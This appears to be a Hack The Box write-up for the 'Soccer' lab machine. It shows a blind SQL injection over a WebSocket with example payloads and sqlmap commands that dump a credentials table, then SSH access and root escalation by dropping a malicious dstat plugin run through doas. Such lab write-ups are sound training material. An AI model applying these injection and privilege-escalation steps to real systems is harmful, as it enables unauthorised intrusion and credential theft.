Soccer Writeup - Hack The Box

Foothold

Let's list the open ports with netstat:

Port enumeration

www-data@soccer:~/html$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1030/nginx: worker
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      1030/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -

There's a MySQL service running on ports 3306 and 33060, the mysterious port 9091, and Nginx at port 80.

Let's take a look at sites-enabled:

www-data@soccer:/etc/nginx/sites-enabled$ ls
default  soc-player.htb

default has the following contents:

server {
        listen 80;
        listen [::]:80;
        server_name 0.0.0.0;
        return 301 http://soccer.htb$request_uri;
}

server {
        listen 80;
        listen [::]:80;

        server_name soccer.htb;

        root /var/www/html;
        index index.html tinyfilemanager.php;

        location / {
               try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        }

        location ~ /\.ht {
                deny all;
        }

}

First, it sets up a redirect to soccer.htb, and then configures the main site.

soc-player.htb has the following contents:

server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

It set's up another site that matches the name soc-player.soccer.htb, so add it to /etc/hosts. For some reason, the website is hosted at /root, which is quite odd.

Let's visit the website: Soccer player homepage

It looks identical, except for the fact that there are more options on the navbar.

/match shows the following: Match page

/login shows this login form:

and /signup allows us to register an account: Signup form

I'll register an account and login. It redirected us to /check: Check page

There's a form where we can submit ticket IDs by pressing Enter.

For a correct ticket ID: Valid ticket

And for a wrong ticket ID: Invalid ticket

Looking into the HTTP history, we see there's a GET request to / at port 9091 with a 101 response, right after we login: WebSocket handshake

WebSocket connection

That means that on port 9091 there's a websocket server running.

From Caido, we can see the messages being exchanged via client and server: WebSocket messages

This is an example message sent to the server: Client message

While this is sent back to the client: Server response

Sending a message like ' or 1=1-- - doesn't work (gives us Ticket Doesn't Exist), since it's probably expecting a number and not a string. By trying the same payload without the ', for example 0 or 1=1-- -, we are successful: SQL injection success

This is a classic case of blind SQL injection, and we'll leave the heavy lifting to SQLMap. Note that I'm using --level 5 --risk 3 below since we know it's a blind SQL injection. You might also need to download the python websocket-client.

Install websocket client

nontas@local:~$ pip install websocket-client
<SNIP>
nontas@local:~$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3
<SNIP>
sqlmap identified the following injection point(s) with a total of 374 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"id": "-7052 OR 6597=6597"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id": "1234 AND (SELECT 2023 FROM (SELECT(SLEEP(5)))ysnl)"}
---
<SNIP>

It also found a time-based blind SQL injection.

Let's enumerate the DBs:

Database enumeration

nontas@local:~$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10 --dbs
<SNIP>
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
<SNIP>

The non-default DB here is soccer_db. List the tables inside it:

Table enumeration

nontas@local:~$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10 -D soccer_db --tables
<SNIP>
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
<SNIP>

Dump everything inside the accounts table:

Data extraction

nontas@local:~$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10 -D soccer_db -T accounts --dump
<SNIP>
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+
<SNIP>

Shell as player

Back into our reverse shell, we can see that the user player exists:

www-data@soccer:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash

So just SSH into the server with the credentials player:PlayerOftheMatch2022:

SSH login

nontas@local:~$ ssh [email protected]                                                                      <SNIP>
[email protected]'s password:
<SNIP>
player@soccer:~$ cat user.txt

And we get the user flag.

Privilege Escalation via SUID permissions

Running a script like LinEnum.sh on the host, shows the following SUID permissions:

[-] SUID files:
-rwsr-xr-x 1 root root 42224 Nov 17  2022 /usr/local/bin/doas
-rwsr-xr-x 1 root root 142792 Nov 28  2022 /usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign
<SNIP>

Finding SUID files

You can also find SUID files via:

player@soccer:~$ find / -perm -4000 2>/dev/null

doas is like sudo, but found in OpenBSD operating systems, but it can be installed in other OSes as well.

With a quick search, we find that the configuration file is usually in /etc/doas, but it doesn't exist:

player@soccer:~$ cat /etc/doas.conf
cat: /etc/doas.conf: No such file or directory

We can find the doas.conf file with find:

player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf

Let's print the contents inside:

player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

This basically says that player can run dstat as root.

Looking up the man page for dstat, we see that it's a tool for generating system resource statistics.

It has the following section:

Plugins

While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly.

And on the bottom:

Files

Paths that may contain external dstat_*.py plugins: ~/.dstat/ (path of binary)/plugins/ /usr/share/dstat/ /usr/local/share/dstat/

The directory at /usr/local/share/dstat/ exists and is writeable, so let's create a malicious python plugin there.

Create the file /usr/local/share/dstat/dstat_pwn.py with the following:

import os

os.system("/bin/bash")

You can use this one-liner:

player@soccer:~$ echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py

To check if the plugin is recognized, use the --list flag:

player@soccer:~$ doas /usr/bin/dstat --list
<SNIP>
/usr/local/share/dstat:
        pwn

Finally, run it and get the root flag:

Privilege escalation

player@soccer:~$ doas /usr/bin/dstat --pwn
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/home/player# cd /root
root@soccer:~# cat root.txt

We have successfully completed Soccer!

Soccer Writeup - Hack The Box

Enumeration

File Upload Attack

Foothold

Blind SQL Injection

Shell as player

Privilege Escalation via SUID permissions

Plugins

Files